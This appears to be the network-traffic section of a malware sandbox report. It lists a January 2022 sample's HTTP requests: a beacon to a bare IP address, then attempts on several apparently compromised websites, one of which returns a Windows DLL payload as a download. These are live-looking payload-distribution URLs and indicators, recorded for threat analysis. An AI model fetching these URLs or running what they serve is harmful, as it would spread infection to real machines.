Network Analysis

GET /ve/ve.png HTTP/1.1 Host: 185.7.214.7 Connection: Keep-Alive

HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 19 Jan 2022 02:33:32 GMT Content-Type: image/png Content-Length: 972 Last-Modified: Tue, 18 Jan 2022 14:05:40 GMT Connection: keep-alive ETag: "61e6c934-3cc" Accept-Ranges: bytes

GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com

HTTP/1.1 200 OK X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=15768000 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self' *.identrust.com Last-Modified: Fri, 29 Oct 2021 21:49:30 GMT ETag: "37d-5cf84cd446e80" Accept-Ranges: bytes Content-Length: 893 X-Content-Type-Options: nosniff X-Frame-Options: sameorigin Content-Type: application/pkcs7-mime Cache-Control: max-age=3600 Expires: Wed, 19 Jan 2022 03:33:42 GMT Date: Wed, 19 Jan 2022 02:33:42 GMT Connection: keep-alive

GET /assets/W8jp7/ HTTP/1.1 Host: ippur.ufrj.br Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 19 Jan 2022 02:33:44 GMT Content-Type: text/html Content-Length: 138 Connection: keep-alive Location: https://ippur.ufrj.br/assets/W8jp7/

GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com

HTTP/1.1 200 OK X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=15768000 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self' *.identrust.com Last-Modified: Fri, 29 Oct 2021 21:49:30 GMT ETag: "37d-5cf84cd446e80" Accept-Ranges: bytes Content-Length: 893 X-Content-Type-Options: nosniff X-Frame-Options: sameorigin Content-Type: application/pkcs7-mime Cache-Control: max-age=3600 Expires: Wed, 19 Jan 2022 03:33:47 GMT Date: Wed, 19 Jan 2022 02:33:47 GMT Connection: keep-alive

GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com

HTTP/1.1 200 OK X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=15768000 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self' *.identrust.com Last-Modified: Fri, 29 Oct 2021 21:49:30 GMT ETag: "37d-5cf84cd446e80" Accept-Ranges: bytes Content-Length: 893 X-Content-Type-Options: nosniff X-Frame-Options: sameorigin Content-Type: application/pkcs7-mime Cache-Control: max-age=3600 Expires: Wed, 19 Jan 2022 03:33:48 GMT Date: Wed, 19 Jan 2022 02:33:48 GMT Connection: keep-alive

GET /assets/BRrGH0HSkc/ HTTP/1.1 Host: sarvaero.com Connection: Keep-Alive

HTTP/1.1 404 Not Found Date: Wed, 19 Jan 2022 02:33:49 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://sarvaero.com/wp-json/>; rel="https://api.w.org/" Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8

GET /wp-admin/mDk/ HTTP/1.1 Host: atplengineering.com Connection: Keep-Alive

HTTP/1.1 404 Not Found Date: Wed, 19 Jan 2022 02:33:50 GMT Server: Apache X-Powered-By: PHP/7.4.26 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://atplengineering.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Keep-Alive: timeout=5 Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8

GET /-/gkUMZLMfkddmFdMlJ/ HTTP/1.1 Host: www2.s12.xrea.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Wed, 19 Jan 2022 02:33:52 GMT Server: Apache Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Wed, 19 Jan 2022 02:33:52 GMT Content-Disposition: attachment; filename="OjpasYr2.dll" Content-Transfer-Encoding: binary Set-Cookie: 61e778906cc32=1642559632; expires=Wed, 19-Jan-2022 02:34:52 GMT; Max-Age=60; path=/ Last-Modified: Wed, 19 Jan 2022 02:33:52 GMT Content-Length: 407552 Vary: User-Agent Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload

GET /IE9CompatViewList.xml HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Host: ie9cvlist.ie.microsoft.com If-Modified-Since: Fri, 16 Oct 2020 17:54:09 GMT If-None-Match: 0x8D871FC7BDF491D Connection: Keep-Alive

HTTP/1.1 200 OK Content-Encoding: gzip Age: 9719 Cache-Control: max-age=21600 Content-MD5: p9g4jsuZO6TaLMVAI9ujVg== Content-Type: text/xml Date: Wed, 19 Jan 2022 02:34:00 GMT Etag: 0x8D9521D2D2DF1EC Last-Modified: Wed, 28 Jul 2021 23:12:31 GMT Server: ECAcc (tka/897A) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 7ddfe4cc-c01e-00b4-06c6-0ce100000000 x-ms-version: 2009-09-19 Content-Length: 13702